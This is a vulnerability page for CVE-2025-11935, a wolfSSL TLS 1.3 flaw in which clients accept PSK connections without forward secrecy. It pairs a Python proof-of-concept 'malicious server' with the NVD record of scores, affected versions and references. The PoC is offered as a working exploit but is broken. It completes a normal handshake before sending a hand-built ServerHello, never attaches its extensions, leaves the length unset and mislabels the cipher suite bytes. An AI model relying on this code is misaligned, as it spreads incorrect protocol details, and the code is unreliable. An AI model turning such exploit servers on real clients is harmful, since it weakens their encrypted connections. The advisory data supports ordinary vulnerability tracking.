CVE-2025-11935

# PoC: Malicious TLS 1.3 Server Bypassing PFS # This PoC demonstrates how a malicious server can bypass PFS requirement import socket import ssl import struct def create_malicious_server(): """ Create a malicious TLS 1.3 server that responds without key_share to bypass PFS requirement on client side. """ context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER) context.load_cert_chain('server.crt', 'server.key') # Listen for connections server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) server_socket.bind(('0.0.0.0', 4433)) server_socket.listen(5) while True: client_conn, addr = server_socket.accept() ssl_conn = context.wrap_socket(client_conn, server_side=True) # Malicious behavior: Complete handshake without key_share # This causes wolfSSL clients to use PSK without PFS data = ssl_conn.recv(4096) print(f"Received ClientHello from {addr}") # Send ServerHello WITHOUT key_share extension # This is the key to exploiting CVE-2025-11935 server_hello = build_server_hello_without_keyshare(data) ssl_conn.send(server_hello) ssl_conn.close() def build_server_hello_without_keyshare(client_hello): """ Build ServerHello message that omits key_share extension. This causes wolfSSL to continue with PSK but without PFS. """ # Simplified ServerHello construction # Real implementation requires proper TLS 1.3 message construction server_hello = bytearray() # ServerHello header server_hello.extend([0x02]) # Handshake type: ServerHello server_hello.extend([0x00, 0x00, 0x00]) # Length placeholder # Server version and random server_hello.extend([0x03, 0x03]) # TLS 1.2 (will be negotiated down) server_hello.extend(b'\x00' * 32) # Random # Session ID server_hello.extend([0x00]) # Cipher suite (without key_share in extensions) server_hello.extend([0x13, 0x01]) # TLS_AES_256_GCM_SHA384 # Compression method server_hello.extend([0x00]) # Extensions WITHOUT key_share - THIS IS THE VULNERABILITY extensions = bytearray() # Add psk_extension (empty or minimal) # Omit key_share extension entirely return bytes(server_hello) if __name__ == "__main__": print("Malicious TLS Server for CVE-2025-11935 PoC") print("This server bypasses PFS requirement in TLS 1.3 PSK") create_malicious_server()

{"cve": {"id": "CVE-2025-11935", "sourceIdentifier": "[email protected]", "published": "2025-11-21T22:16:18.920", "lastModified": "2025-12-03T18:47:32.440", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "With TLS 1.3 pre-shared key (PSK) a malicious or faulty server could ignore the request for PFS (perfect forward secrecy) and the client would continue on with the connection using PSK without PFS. This happened when a server responded to a ClientHello containing psk_dhe_ke without a key_share extension. The re-use of an authenticated PSK connection that on the clients side unexpectedly did not have PFS, reduces the security of the connection."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "PRESENT", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "LOW", "subIntegrityImpact": "LOW", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-326"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:wolfssl:wolfssl:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.8.2", "versionEndExcluding": "5.8.4", "matchCriteriaId": "EB81B784-14DD-4CD0-859A-62D42ADDD7D3"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:*", "matchCriteriaId": "387021A0-AF36-463C-A605-32EA7DAC172E"}, {"vulnerable": false, "criteria": "cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:*", "matchCriteriaId": "703AF700-7A70-47E2-BC3A-7FD03B3CA9C1"}]}]}], "references": [{"url": "https://github.com/wolfSSL/wolfssl", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/wolfSSL/wolfssl/pull/9112", "source": "[email protected]", "tags": ["Issue Tracking", "Patch"]}]}}